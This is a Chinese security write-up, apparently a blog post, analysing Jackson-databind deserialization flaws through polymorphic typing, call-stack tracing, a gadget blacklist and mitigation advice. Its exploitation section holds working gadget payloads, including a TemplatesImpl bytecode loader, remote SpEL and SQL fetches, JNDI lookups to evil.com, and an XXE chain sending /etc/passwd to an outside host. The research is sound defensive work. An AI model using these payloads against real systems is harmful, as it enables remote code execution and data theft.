Jackson 漏洞分析总结

0x01 介绍

Java的生态圈中有很多处理JSON的类库,比较常见的有fastjson、jackson、gson等,按照使用者的说法Jackson的速度是最快的,我们可以看看正常的Jackson写法。

import com.fasterxml.jackson.core.JsonProcessingException;
import com.fasterxml.jackson.databind.ObjectMapper;
import java.io.IOException;
public class Hello {
    public static void main(String[] args){
        Student stu = new Student();
        stu.name="l1nk3r";
        stu.age=100;
        ObjectMapper mapper = new ObjectMapper();
        try {
            String json=mapper.writeValueAsString(stu);
            System.out.println(json);
            //{"age":100,"name":"l1nk3r"}
            Student stu1 = mapper.readValue(json,Student.class);
            System.out.println(stu1);
            //age=100, name=l1nk3r
        } catch (JsonProcessingException e) {
            e.printStackTrace();
        } catch (IOException e) {
            e.printStackTrace();
        }

    }
}

class Student{
    public int age;
    public String name;

    @Override
    public String toString() {
        return String.format("age=%d, name=%s", age, name);
    }
}

0x02 特殊的机制

首先Jackson有一种特殊的机制 — JacksonPolymorphicDeserialization,这里可以翻译为Jackson的多态类型绑定。从文档中可以看到两种情况,一种是 Global default typing(全局的DefaultTyping),另一种是 @JsonTypeInfo 注解两种方式。

1.DefaultTyping

从上面那份文档来看,在这个方式里面一种有4个值。

  • JAVA_LANG_OBJECT: only affects properties of type Object.class
  • OBJECT_AND_NON_CONCRETE: affects Object.class and all non-concrete types (abstract classes, interfaces)
  • NON_CONCRETE_AND_ARRAYS: same as above, and all array types of the same (direct elements are non-concrete types or Object.class)
  • NON_FINAL: affects all types that are not declared 'final', and array types of non-final element types.

当然在代码里面也是一样的。

下面其实可以分别看看这四个值的作用是什么。

(1)、JAVA_LANG_OBJECT

JAVA_LANG_OBJECT :当类里的属性声明为一个Object时,会对该属性进行序列化和反序列化,并且明确规定类名。(当然,这个Object本身也得是一个可被序列化/反序列化的类)。

例如下面的代码,我们给 People 里添加一个 Object object

package com.l1nk3r.jackson;
import com.fasterxml.jackson.databind.ObjectMapper;
import java.io.IOException;

public class JavaLangObject {
    public static void main(String args[]) throws IOException {
        People p = new People();
        p.age = 10;
        p.name = "com.l1nk3r.jackson.l1nk3r";
        p.object = new l1nk3r();
        ObjectMapper mapper = new ObjectMapper();
        mapper.enableDefaultTyping(ObjectMapper.DefaultTyping.JAVA_LANG_OBJECT);
        String json = mapper.writeValueAsString(p);
        System.out.println(json);
//{"age":10,"name":"com.l1nk3r.jackson.l1nk3r","object":["com.l1nk3r.jackson.l1nk3r",{"length":100}]}
        People p2 = mapper.readValue(json, People.class);
        System.out.println(p2);
//age=10, name=com.l1nk3r.jackson.l1nk3r, com.l1nk3r.jackson.l1nk3r@4566e5bd
    }
}
class People {
    public int age;
    public String name;
    public Object object;

    @Override
    public String toString() {
        return String.format("age=%d, name=%s, %s", age, name, object == null ? "null" : object);
    }
}
class l1nk3r {
    public int length = 100;
}

所以按照上面的描述那么输出的序列化json信息中应该携带了相关的类的信息,而在反序列化的时候自然会进行还原。

(2)、OBJECT_AND_NON_CONCRETE

OBJECT_AND_NON_CONCRETE :除了上文 提到的特征,当类里有 Interface 、 AbstractClass 时,对其进行序列化和反序列化。(当然,这些类本身需要是合法的、可以被序列化/反序列化的对象)。

例如下面的代码,这次我们添加名为 Sexinterface ,发现它被正确序列化、反序列化了,就是这个选项控制的。

package com.l1nk3r.jackson;
import com.fasterxml.jackson.databind.ObjectMapper;
import java.io.IOException;

public class JavaLangObject {
    public static void main(String args[]) throws IOException {
        People p = new People();
        p.age = 10;
        p.name = "com.l1nk3r.jackson.l1nk3r";
        p.object = new l1nk3r();
        p.sex=new MySex();
        ObjectMapper mapper = new ObjectMapper();
        mapper.enableDefaultTyping(ObjectMapper.DefaultTyping.OBJECT_AND_NON_CONCRETE);
        String json = mapper.writeValueAsString(p);
        System.out.println(json);
//{"age":10,"name":"com.l1nk3r.jackson.l1nk3r","object":["com.l1nk3r.jackson.l1nk3r",{"length":100}],"sex":["com.l1nk3r.jackson.MySex",{"sex":0}]}      
        People p2 = mapper.readValue(json, People.class);
        System.out.println(p2);
//age=10, name=com.l1nk3r.jackson.l1nk3r, com.l1nk3r.jackson.l1nk3r@ff5b51f
    }
}
class People {
    public int age;
    public String name;
    public Object object;
    public Sex sex;

    @Override
    public String toString() {
        return String.format("age=%d, name=%s, %s", age, name, object == null ? "null" : object);
    }
}
class l1nk3r {
    public int length = 100;
}
class MySex implements Sex {
    int sex;

    @Override
    public int getSex() {
        return sex;
    }

    @Override
    public void setSex(int sex) {
        this.sex = sex;
    }
}

interface Sex {
    public void setSex(int sex);
    public int getSex();
}

默认的、无参的 enableDefaultTypingOBJECT_AND_NON_CONCRETE

(3)、NON_CONCRETE_AND_ARRAYS

NON_CONCRETE_AND_ARRAYS :除了上文提到的特征,还支持上文全部类型的Array类型。

例如下面的代码,我们的Object里存放l1nk3r的数组。

package com.l1nk3r.jackson;
import com.fasterxml.jackson.databind.ObjectMapper;
import java.io.IOException;

public class JavaLangObject {
    public static void main(String args[]) throws IOException {
        People p = new People();
        p.age = 10;
        p.name = "com.l1nk3r.jackson.l1nk3r";
        l1nk3r[] l1nk3rs= new l1nk3r[2];
        l1nk3rs[0]=new l1nk3r();
        l1nk3rs[1]=new l1nk3r();
        p.object = l1nk3rs;
        p.sex=new MySex();
        ObjectMapper mapper = new ObjectMapper();
        mapper.enableDefaultTyping(ObjectMapper.DefaultTyping.NON_CONCRETE_AND_ARRAYS);
        String json = mapper.writeValueAsString(p);
        System.out.println(json);
//{"age":10,"name":"com.l1nk3r.jackson.l1nk3r","object":["[Lcom.l1nk3r.jackson.l1nk3r;",[{"length":100},{"length":100}]],"sex":["com.l1nk3r.jackson.MySex",{"sex":0}]}
        People p2 = mapper.readValue(json, People.class);
        System.out.println(p2);
//age=10, name=com.l1nk3r.jackson.l1nk3r, [Lcom.l1nk3r.jackson.l1nk3r;@1e127982
    }
}
class People {
    public int age;
    public String name;
    public Object object;
    public Sex sex;

    @Override
    public String toString() {
        return String.format("age=%d, name=%s, %s", age, name, object == null ? "null" : object);
    }
}
class l1nk3r {
    public int length = 100;
}
class MySex implements Sex {
    int sex;

    @Override
    public int getSex() {
        return sex;
    }

    @Override
    public void setSex(int sex) {
        this.sex = sex;
    }
}

interface Sex {
    public void setSex(int sex);

    public int getSex();
}

(4)、NON_FINAL

NON_FINAL :包括上文提到的所有特征,而且包含即将被序列化的类里的全部、非final的属性,也就是相当于整个类、除final外的的属性信息都需要被序列化和反序列化。

例如下面的代码,添加了类型为l1nk3r的变量,非Object也非虚,但也可以被序列化出来。

package com.l1nk3r.jackson;
import com.fasterxml.jackson.databind.ObjectMapper;
import java.io.IOException;

public class JavaLangObject {
    public static void main(String args[]) throws IOException {
        People p = new People();
        p.age = 10;
        p.name = "l1nk3r";
        p.object = new l1nk3r();
        p.sex=new MySex();
        p.l1nk3r=new l1nk3r();
        ObjectMapper mapper = new ObjectMapper();
        mapper.enableDefaultTyping(ObjectMapper.DefaultTyping.NON_FINAL);
        String json = mapper.writeValueAsString(p);
        System.out.println(json);
//["com.l1nk3r.jackson.People",{"age":10,"name":"l1nk3r","object":["com.l1nk3r.jackson.l1nk3r",{"length":100}],"sex":["com.l1nk3r.jackson.MySex",{"sex":0}],"l1nk3r":["com.l1nk3r.jackson.l1nk3r",{"length":100}]}]
        People p2 = mapper.readValue(json, People.class);
        System.out.println(p2);
//age=10, name=l1nk3r, com.l1nk3r.jackson.l1nk3r@ff5b51f
    }
}
class People {
    public int age;
    public String name;
    public Object object;
    public Sex sex;
    public l1nk3r l1nk3r;

    @Override
    public String toString() {
        return String.format("age=%d, name=%s, %s", age, name, object == null ? "null" : object,     sex == null ? "null" : sex,
                l1nk3r == null ? "null" : l1nk3r);
    }
}
class l1nk3r {
    public int length = 100;
}
class MySex implements Sex {
    int sex;

    @Override
    public int getSex() {
        return sex;
    }

    @Override
    public void setSex(int sex) {
        this.sex = sex;
    }
}

interface Sex {
    public void setSex(int sex);

    public int getSex();
}

2.@JsonTypeInfo注解

@JsonTypeInfo 也是jackson多态类型绑定的一种方式,它一共支持下面5种类型的取值。

@JsonTypeInfo(use = JsonTypeInfo.Id.NONE)
@JsonTypeInfo(use = JsonTypeInfo.Id.CLASS)
@JsonTypeInfo(use = JsonTypeInfo.Id.MINIMAL_CLASS)
@JsonTypeInfo(use = JsonTypeInfo.Id.NAME)
@JsonTypeInfo(use = JsonTypeInfo.Id.COSTOM)

下面使用一段测试代码可以看看这五个类型的分别作用。

package com.l1nk3r.jackson;
import com.fasterxml.jackson.annotation.JsonTypeInfo;
import com.fasterxml.jackson.databind.ObjectMapper;
import java.io.IOException;

public class Jsontypeinfo {
    public static void main(String[] args) throws IOException {
        ObjectMapper mapper= new ObjectMapper();
        User user = new User();
        user.name= "l1nk3r";
        user.age=100;
        user.obj=new Height();
        String json = mapper.writeValueAsString(user);
        System.out.println(json);
    }
}

class User{
    public String name;
    public int age;
    @JsonTypeInfo(use = JsonTypeInfo.Id.NONE)
    public Object obj;

    public String toString(){
        return "name:" + name + " age:" + age + " obj:" + obj;
    }
}

class Height{
    public int h = 100;
}

(1)、Id.NONE

这种方式的输出结果实际上是我们最想要的,这里只需要相关参数的值,并没有其他一些无用信息。

{"name":"l1nk3r","age":100,"obj":{"h":100}}

(2)、Id.CLASS

这种方式的输出结果中携带了相关java类,也就是说反序列化的时候如果使用了JsonTypeInfo.Id.CLASS修饰的话,可以通过 @class 方式指定相关类,并进行相关调用。

{"name":"l1nk3r","age":100,"obj":{"@class":"com.l1nk3r.jackson.Height","h":100}}

(3)、Id.MINIMAL_CLASS

这种方式的输出结果也携带了相关类,和 id.CLASS 的区别在 @class 变成了 @c ,从官方文档中描述中这个应该是一个更短的类名字。同样也就是说反序列化的时候如果使用了JsonTypeInfo.Id.MINIMAL_CLASS修饰的话,可以通过 @c 方式指定相关类,并进行相关调用。

{"name":"l1nk3r","age":100,"obj":{"@c":"com.l1nk3r.jackson.Height","h":100}}

(4)、Id.NAME

这种输出方式没有携带类名字,在反序列化时也是不可以利用的。

{"name":"l1nk3r","age":100,"obj":{"@type":"Height","h":100}}

(5)、Id.COSTOM

这个无法直接用,需要手写一个解析器才可以配合使用,所以直接回抛出异常。

3.小结

所以按照上述分析,3种情况下可以触发Jackson反序列化漏洞

1、enableDefaultTyping()

2、@JsonTypeInfo(use = JsonTypeInfo.Id.CLASS)

3、@JsonTypeInfo(use = JsonTypeInfo.Id.MINIMAL_CLASS)

0x03解析流程

1、DefaultTyping

测试代码

package com.l1nk3r.jackson;
import com.fasterxml.jackson.databind.ObjectMapper;
import java.io.IOException;

public class JavaLangObject {
    public static void main(String args[]) throws IOException {
        ObjectMapper mapper = new ObjectMapper();
        mapper.enableDefaultTyping();
        String json="{\"age\":10,\"name\":\"l1nk3r\",\"sex\":[\"com.l1nk3r.jackson.MySex\",{\"sex\":100}]}";
        People p2 = mapper.readValue(json, People.class);
        System.out.println(p2);
    }
}
class People {
    public int age;
    public String name;
    public Sex sex;

    @Override
    public String toString() {
        return String.format("age=%d, name=%s, sex=%d", age, name,sex.getSex());
    }
}
class MySex implements Sex {
    int sex;

    @Override
    public int getSex() {
        return sex;
    }

    @Override
    public void setSex(int sex) {
        this.sex = sex;
    }
}

interface Sex {
    public void setSex(int sex);
    public int getSex();
}

这里先选择在 MySex 构造函数上下个断点,因为在payload有这么一个类com.l1nk3r.jackson.MySex的调用,下面是调用栈。

<init>:35, MySex (com.l1nk3r.jackson)
newInstance0:-1, NativeConstructorAccessorImpl (sun.reflect)
newInstance:62, NativeConstructorAccessorImpl (sun.reflect)
newInstance:45, DelegatingConstructorAccessorImpl (sun.reflect)
newInstance:422, Constructor (java.lang.reflect)
call:119, AnnotatedConstructor (com.fasterxml.jackson.databind.introspect)
createUsingDefault:270, StdValueInstantiator (com.fasterxml.jackson.databind.deser.std)
vanillaDeserialize:277, BeanDeserializer (com.fasterxml.jackson.databind.deser)
deserialize:151, BeanDeserializer (com.fasterxml.jackson.databind.deser)
_deserialize:116, AsArrayTypeDeserializer (com.fasterxml.jackson.databind.jsontype.impl)
deserializeTypedFromObject:61, AsArrayTypeDeserializer (com.fasterxml.jackson.databind.jsontype.impl)
deserializeWithType:254, AbstractDeserializer (com.fasterxml.jackson.databind.deser)
deserializeAndSet:145, FieldProperty (com.fasterxml.jackson.databind.deser.impl)
vanillaDeserialize:288, BeanDeserializer (com.fasterxml.jackson.databind.deser)
deserialize:151, BeanDeserializer (com.fasterxml.jackson.databind.deser)
_readMapAndClose:4013, ObjectMapper (com.fasterxml.jackson.databind)
readValue:3004, ObjectMapper (com.fasterxml.jackson.databind)
main:20, JavaLangObject (com.l1nk3r.jackson)

这里首先研究一下,它是如何找到我们调用的类:com.l1nk3r.jackson.MySex,前面几个没什么好看的,我选择在com.fasterxml.jackson.databind.deser.BeanDeserializer#deserialize这里下断点:

public Object deserialize(JsonParser p, DeserializationContext ctxt) throws IOException
    {
        // common case first
        if (p.isExpectedStartObjectToken()) {
            if (_vanillaProcessing) {
                return vanillaDeserialize(p, ctxt, p.nextToken());
            }

进入到 AsArrayTypeDeserializer#_deserialize ,我关注到下面这个代码,这个代码根据typeId寻找反序列化。

_findDeserializer 方法,在最后返回之前使用put处理typeId和deser。最后return deser中的相关对象。

然后又回到了 AsArrayTypeDeserializer#_deserialize 中,继续调用 BeanDeserializer#deserialize 来进行处理,这里 _vanillaProcessing=true ,所以这里调用 BeanDeserializer#vanillaDeserialize

而在 BeanDeserializer#vanillaDeserialize 里面又开始调用 StdValueInstantiator#createUsingDefault 寻找类。

并使用 AnnotatedConstructor#call 通过反射来处理这个找到的类。

public final Object call() throws Exception {
        return _constructor.newInstance();
    }

而在setter上下断点之后主要是在 MethodProperty#deserializeAndSet ,通过反射调用相关setter方法。

所以解析过程应该是如下图所示:

其中 BeanDeserializerBase#vanillaDeserialize 中有两个关键点:

1、StdValueInstantiator#createUsingDefault 方法负责调用 AnnotatedConstructor#call 中call方法,然后通过反射方式来寻找我们从json中输入的类。

2、MethodProperty#deserializeAndSet 方法负责寻找相关setter设置,这里也是通过invoke反射的方式。

2、JsonTypeInfo

package com.l1nk3r.jackson;
import com.fasterxml.jackson.annotation.JsonTypeInfo;
import com.fasterxml.jackson.databind.ObjectMapper;
import java.io.IOException;

public class JavaLangObject {
    public static void main(String args[]) throws IOException {
        ObjectMapper mapper = new ObjectMapper();
        String json="{\"sex\":{\"@class\":\"com.l1nk3r.jackson.MySex\",\"sex\":20}}";
        People p2 = mapper.readValue(json, People.class);
        System.out.println(p2);
    }
}
class People {
    public int age;
    public String name;
    @JsonTypeInfo(use = JsonTypeInfo.Id.CLASS)
    public Sex sex;

    @Override
    public String toString() {
        return String.format("age=%d, name=%s, sex=%d", age, name,sex.getSex());
    }
}
class MySex implements Sex {
    int sex;
    @Override
    public int getSex() {
        return sex;
    }

    @Override
    public void setSex(int sex) {
        this.sex = sex;
    }
}

interface Sex {
    public void setSex(int sex);
    public int getSex();
}

class MySex 下断点,发现调用栈和使用 DefaultTyping 的时候是一致。

<init>:37, MySex (com.l1nk3r.jackson)
newInstance0:-1, NativeConstructorAccessorImpl (sun.reflect)
newInstance:62, NativeConstructorAccessorImpl (sun.reflect)
newInstance:45, DelegatingConstructorAccessorImpl (sun.reflect)
newInstance:422, Constructor (java.lang.reflect)
call:119, AnnotatedConstructor (com.fasterxml.jackson.databind.introspect)
createUsingDefault:270, StdValueInstantiator (com.fasterxml.jackson.databind.deser.std)
vanillaDeserialize:277, BeanDeserializer (com.fasterxml.jackson.databind.deser)
_deserializeOther:189, BeanDeserializer (com.fasterxml.jackson.databind.deser)
deserialize:161, BeanDeserializer (com.fasterxml.jackson.databind.deser)
_deserializeTypedForId:130, AsPropertyTypeDeserializer (com.fasterxml.jackson.databind.jsontype.impl)
deserializeTypedFromObject:97, AsPropertyTypeDeserializer (com.fasterxml.jackson.databind.jsontype.impl)
deserializeWithType:254, AbstractDeserializer (com.fasterxml.jackson.databind.deser)
deserializeAndSet:145, FieldProperty (com.fasterxml.jackson.databind.deser.impl)
vanillaDeserialize:288, BeanDeserializer (com.fasterxml.jackson.databind.deser)
deserialize:151, BeanDeserializer (com.fasterxml.jackson.databind.deser)
_readMapAndClose:4013, ObjectMapper (com.fasterxml.jackson.databind)
readValue:3004, ObjectMapper (com.fasterxml.jackson.databind)
main:21, JavaLangObject (com.l1nk3r.jackson)

而在setter处下断点的调用栈也和发现调用栈和使用 DefaultTyping 的时候是一致。

deserializeAndSet:139, MethodProperty (com.fasterxml.jackson.databind.deser.impl)
vanillaDeserialize:288, BeanDeserializer (com.fasterxml.jackson.databind.deser)
_deserializeOther:189, BeanDeserializer (com.fasterxml.jackson.databind.deser)
deserialize:161, BeanDeserializer (com.fasterxml.jackson.databind.deser)
_deserializeTypedForId:130, AsPropertyTypeDeserializer (com.fasterxml.jackson.databind.jsontype.impl)
deserializeTypedFromObject:97, AsPropertyTypeDeserializer (com.fasterxml.jackson.databind.jsontype.impl)
deserializeWithType:254, AbstractDeserializer (com.fasterxml.jackson.databind.deser)
deserializeAndSet:145, FieldProperty (com.fasterxml.jackson.databind.deser.impl)
vanillaDeserialize:288, BeanDeserializer (com.fasterxml.jackson.databind.deser)
deserialize:151, BeanDeserializer (com.fasterxml.jackson.databind.deser)
_readMapAndClose:4013, ObjectMapper (com.fasterxml.jackson.databind)
readValue:3004, ObjectMapper (com.fasterxml.jackson.databind)
main:21, JavaLangObject (com.l1nk3r.jackson)

所以这里反面也验证了,enableDefaultTyping@JsonTypeInfo这两种情况都有可能触发Jackson反序列化漏洞。

0x04 利用方式

TemplatesImpl

payload

final String NASTY_CLASS = "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl";
        String evilCode = readClass("Calc.class");
        final String JSON = aposToQuotes(
                "{"
                        + " 'obj':[ '" + NASTY_CLASS + "',\n"
                        + "  {\n"
                        + "    'transletBytecodes' : [ '" + evilCode + "' ],\n"
                        + "    'transletName' : 'a.b',\n"
                        + "    'outputProperties' : { }\n"
                        + "  }\n"
                        + " ]\n"
                        + "}"
        );

分析

最早出现的Jackson漏洞利用方式应该是这个,按照上面的逻辑跟进分析整个过程 createUsingDefault 通过反射的方式寻找我们的输入的利用类。

然后 deserializeAndSet ,调用相关setter方法设置相关值。但是这个方法在这里使用有一点点不太一样。首先在com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl中是没有找到 setOutputProperties 。但是却找到了这个方法其getter方法 getOutputProperties ,所以这里的 **deserializeAndSet **是 SetterlessProperty 这个类中的方法,而这个方法实际是寻找相关getter。

 public final void deserializeAndSet(JsonParser p, DeserializationContext ctxt, Object instance) throws IOException {
        JsonToken t = p.getCurrentToken();
        if (t != JsonToken.VALUE_NULL) {
            if (this._valueTypeDeserializer != null) {
                ctxt.reportMappingException("Problem deserializing 'setterless' property (\"%s\"): no way to handle typed deser with setterless yet", new Object[]{this.getName()});
            }

            Object toModify;
            try {
                toModify = this._getter.invoke(instance);
            } catch (Exception var7) {
                this._throwAsIOE(p, var7);
                return;
            }

            if (toModify == null) {
                throw JsonMappingException.from(p, "Problem deserializing 'setterless' property '" + this.getName() + "': get method returned null");
            } else {
                this._valueDeserializer.deserialize(p, ctxt, toModify);
            }
        }
    }

这里和 fastjson 做个对比,Fastjson中使用parseObject()的过程最后会Json.tojson(),调用属性的getter方法,但是在Jackson的反序列化过程中不会默认调用getter方法,那么接下来的调用方法就很简单了。

下图是 defineTransletClasses左边jdk1.7.0_25右边jdk1.8.0_181 ,实际测试来看没办法在 jdk1.8.0_181 上运行。

由于我们的payload是没有携带 _tfactory 字段。

                "{"
                        + " 'obj':[ '" + NASTY_CLASS + "',\n"
                        + "  {\n"
                        + "    'transletBytecodes' : [ '" + evilCode + "' ],\n"
                        + "    'transletName' : 'a.b',\n"
                        + "    'outputProperties' : { }\n"
                        + "  }\n"
                        + " ]\n"
                        + "}"

我们将 _tfactory 字段补齐,发现还是不行,原因是出在了jackson上,在 BeanPropertyMapSettableBeanProperty find 的时候没有获取 _tfactory 的结果。

但是这个payload在 1.8.0_40 上是ok的。

深入看 1.8.0_40defineTransletClasses 是还是和 jdk1.7.0_25 的一样,所以也就是说该利用方式具体影响jdk1.8以上哪些版本需要详细测试一下。

FileSystemXmlApplicationContext

payload

["org.springframework.context.support.FileSystemXmlApplicationContext", "https://raw.githubusercontent.com/irsl/jackson-rce-via-spel/master/spel.xml"]

分析

首先这个漏洞利用方式和之前的常见调用栈不太一样,主要是下面这个几个,不太一样的本质在于这个利用类没有相应的getter、setter方法。

call1:129, AnnotatedConstructor (com.fasterxml.jackson.databind.introspect)
createFromString:318, StdValueInstantiator (com.fasterxml.jackson.databind.deser.std)
deserializeFromString:1283, BeanDeserializerBase (com.fasterxml.jackson.databind.deser)
_deserializeOther:159, BeanDeserializer (com.fasterxml.jackson.databind.deser)
deserialize:150, BeanDeserializer (com.fasterxml.jackson.databind.deser)

在这个地方下一个断点
org/springframework/context/support/FileSystemXmlApplicationContext.class


通过idea可以通过 diagramsShow Diagram Popup 查看类与接口之间的继承关系。

beanFactory 中有 getBean 的构造方法

而实际 getBean 的构造方法是在 AbstractBeanFactory 类中调用。

我们试着在 AbstractBeanFactory 类中的 getBean 方法下个断点也就是说程序通过一系列的json反序列化,以及反射机制进入到了 getBean 方法,并且获取到了这个 name 为pb的方法。

在org.springframework.beans.factory.support.BeanDefinitionValueResolver#resolveValueIfNecessary这里下断点,我看到经过 evaluate 处理之后 valueObject 等于我们要执行的 calc.exe

这里看一下 evaluate 方法的实现。

然后会继续解析 #{ pb.start() } ,对 #{ pb.start() } 进行spel操作。

当解析完 pb.start 操作后就会命令执行。

MiniAdmin

payload

"[\"com.mysql.cj.jdbc.admin.MiniAdmin\", \"jdbc:mysql://X.X.X.X:3306/db\"]";

分析

首先这个漏洞利用方式和之前的常见调用栈不太一样,主要是下面这个几个,不太一样的本质在于这个利用类没有相应的getter、setter方法。

call1:129, AnnotatedConstructor (com.fasterxml.jackson.databind.introspect)
createFromString:318, StdValueInstantiator (com.fasterxml.jackson.databind.deser.std)
deserializeFromString:1283, BeanDeserializerBase (com.fasterxml.jackson.databind.deser)
_deserializeOther:159, BeanDeserializer (com.fasterxml.jackson.databind.deser)
deserialize:150, BeanDeserializer (com.fasterxml.jackson.databind.deser)

这个漏洞利用的是mysql的一个特性,mysql的load data local允许将本地文件中的数据插入到相关数据库的表中,而在mysql的驱动中,默认的值是true,允许读取本地文件,直到 8.0.15 版本之后在做了修改。

也就是说如果当前用的mysql连接库低于8.0.15,我们可以配合这个项目,发起攻击,任意读取本地文件。

通过传入mysql连接的url,然后调用的相关数据库连接驱动,发起数据库连接的请求,最后完成攻击。

logback

payload

[\"ch.qos.logback.core.db.DriverManagerConnectionSource\", {\"url\":\"jdbc:h2:mem:;TRACE_LEVEL_SYSTEM_OUT=3;INIT=RUNSCRIPT FROM 'http://localhost:8888/inject.sql'\"}]"

分析

利用链和之前分析的一样,反序列化的时候这里会进入DriverManagerConnectionSource#setUrl传入url参数。

但是这个漏洞触发需要再做一次序列化,序列化的时候就会去寻找gettter,这里先寻找 getDriverClass

然后再寻找 getUrl ,由于 getUrl 是刚刚我们设置的payload,于是这里便通过getter获取到值。

最后再发起请求,由于h2数据库可以以men方式执行加载在内存的sql语句,并且是在JVM中运行实现,因此h2数据库可以执行java代码,配合这个特性可以用来解决代码执行,但是这个利用方式会很少见。

Other

由于payload太多了,这里简单总结一下其他的,不做一一具体分析了,当然还有更多,大家也可以看看这个项目

[\"org.springframework.context.support.GenericGroovyApplicationContext\", " "\"http://127.0.0.1:8000/spel.xml\"]
         
"[\"com.mchange.v2.c3p0.JndiRefForwardingDataSource\",{\"jndiName\":\"rmi://localhost:1099/Exploit\",\"loginTimeout\":0}]"

[\"com.sun.rowset.JdbcRowSetImpl\",{\"dataSourceName\":\"rmi://localhost:1099/Exploit\",\"autoCommit\":true}]

"['org.apache.openjpa.ee.RegistryManagedRuntime', "
+"{'registryName':'ldap://127.0.0.1:1389/Test1', 'rollbackOnly': null}]"

"['org.apache.openjpa.ee.JNDIManagedRuntime',"
+"{'transactionManagerName':'ldap://evil.com:1389/Test1', 'rollbackOnly': null}]";

"['org.apache.axis2.transport.jms.JMSOutTransportInfo', 'jms:/ldap://evil.com:1389/Test1']";

XXE:

//payload
"[\"org.jdom2.transform.XSLTransformer\",\"http://aliyun.nudtcat.org:84/ftp5.xml\"]"

//XXE
<?xml version="1.0"?>
<!DOCTYPE cdl [<!ENTITY % asd SYSTEM "http://aliyun.nudtcat.org:84/dtd.php">%asd;%c;]>
<cdl>&rrr;</cdl>

//DTD
<?php
echo '<!ENTITY % d SYSTEM "file:///etc/passwd"> <!ENTITY % c "<!ENTITY rrr SYSTEM \'ftp://aliyun.nudtcat.org:2121/%d;\'>">';

0x05 黑名单

这是截止到目前的黑名单,当然这种黑名单机制的黑名单只能更多不可能更少。

        Set<String> s = new HashSet<String>();
        // Courtesy of [https://github.com/kantega/notsoserial]:
        // (and wrt [databind#1599])
        s.add("org.apache.commons.collections.functors.InvokerTransformer");
        s.add("org.apache.commons.collections.functors.InstantiateTransformer");
        s.add("org.apache.commons.collections4.functors.InvokerTransformer");
        s.add("org.apache.commons.collections4.functors.InstantiateTransformer");
        s.add("org.codehaus.groovy.runtime.ConvertedClosure");
        s.add("org.codehaus.groovy.runtime.MethodClosure");
        s.add("org.springframework.beans.factory.ObjectFactory");
        s.add("com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl");
        s.add("org.apache.xalan.xsltc.trax.TemplatesImpl");
        // [databind#1680]: may or may not be problem, take no chance
        s.add("com.sun.rowset.JdbcRowSetImpl");
        // [databind#1737]; JDK provided
        s.add("java.util.logging.FileHandler");
        s.add("java.rmi.server.UnicastRemoteObject");
        // [databind#1737]; 3rd party
//s.add("org.springframework.aop.support.AbstractBeanFactoryPointcutAdvisor"); // deprecated by [databind#1855]
        s.add("org.springframework.beans.factory.config.PropertyPathFactoryBean");

// s.add("com.mchange.v2.c3p0.JndiRefForwardingDataSource"); // deprecated by [databind#1931]
// s.add("com.mchange.v2.c3p0.WrapperConnectionPoolDataSource"); // - "" -
        // [databind#1855]: more 3rd party
        s.add("org.apache.tomcat.dbcp.dbcp2.BasicDataSource");
        s.add("com.sun.org.apache.bcel.internal.util.ClassLoader");
        // [databind#1899]: more 3rd party
        s.add("org.hibernate.jmx.StatisticsService");
        s.add("org.apache.ibatis.datasource.jndi.JndiDataSourceFactory");
        // [databind#2032]: more 3rd party; data exfiltration via xml parsed ext entities
        s.add("org.apache.ibatis.parsing.XPathParser");

        // [databind#2052]: Jodd-db, with jndi/ldap lookup
        s.add("jodd.db.connection.DataSourceConnectionProvider");

        // [databind#2058]: Oracle JDBC driver, with jndi/ldap lookup
        s.add("oracle.jdbc.connector.OracleManagedConnectionFactory");
        s.add("oracle.jdbc.rowset.OracleJDBCRowSet");

        // [databind#2097]: some 3rd party, one JDK-bundled
        s.add("org.slf4j.ext.EventData");
        s.add("flex.messaging.util.concurrent.AsynchBeansWorkManagerExecutor");
        s.add("com.sun.deploy.security.ruleset.DRSHelper");
        s.add("org.apache.axis2.jaxws.spi.handler.HandlerResolverImpl");

        // [databind#2186]: yet more 3rd party gadgets
        s.add("org.jboss.util.propertyeditor.DocumentEditor");
        s.add("org.apache.openjpa.ee.RegistryManagedRuntime");
        s.add("org.apache.openjpa.ee.JNDIManagedRuntime");
        s.add("org.apache.axis2.transport.jms.JMSOutTransportInfo");

        // [databind#2326] (2.9.9)
        s.add("com.mysql.cj.jdbc.admin.MiniAdmin");

        // [databind#2334]: logback-core (2.9.9.1)
        s.add("ch.qos.logback.core.db.DriverManagerConnectionSource");

        // [databind#2341]: jdom/jdom2 (2.9.9.1)
        s.add("org.jdom.transform.XSLTransformer");
        s.add("org.jdom2.transform.XSLTransformer");

        // [databind#2387]: EHCache
        s.add("net.sf.ehcache.transaction.manager.DefaultTransactionManagerLookup");

        // [databind#2389]: logback/jndi
        s.add("ch.qos.logback.core.db.JNDIConnectionSource");

0x06 后话

jackson漏洞的利用方式在fastjson上大部分都能兼容,如果使用jackson且防止反序列化漏洞的话,一方面可能需要升级最新jackson的组件版本,另一方面尽量避免使用Object对象作为Jackson反序列化的目标。
当然也可以考虑一下Jackson-dababind(3.x)将使用新的API,该API layer可以提供一种基于白名单的序列化方式来处理多态类(polymorph classes),以此解决该系列漏洞。

Reference

Jackson反序列化漏洞简介(一):Jackson基本的工作原理

Jackson反序列化漏洞简介(三): JsonTypeInfo的用途

Jackson-databind-RCE-PoC

5 个赞

精品文章,分析的很详细

很好的一篇文章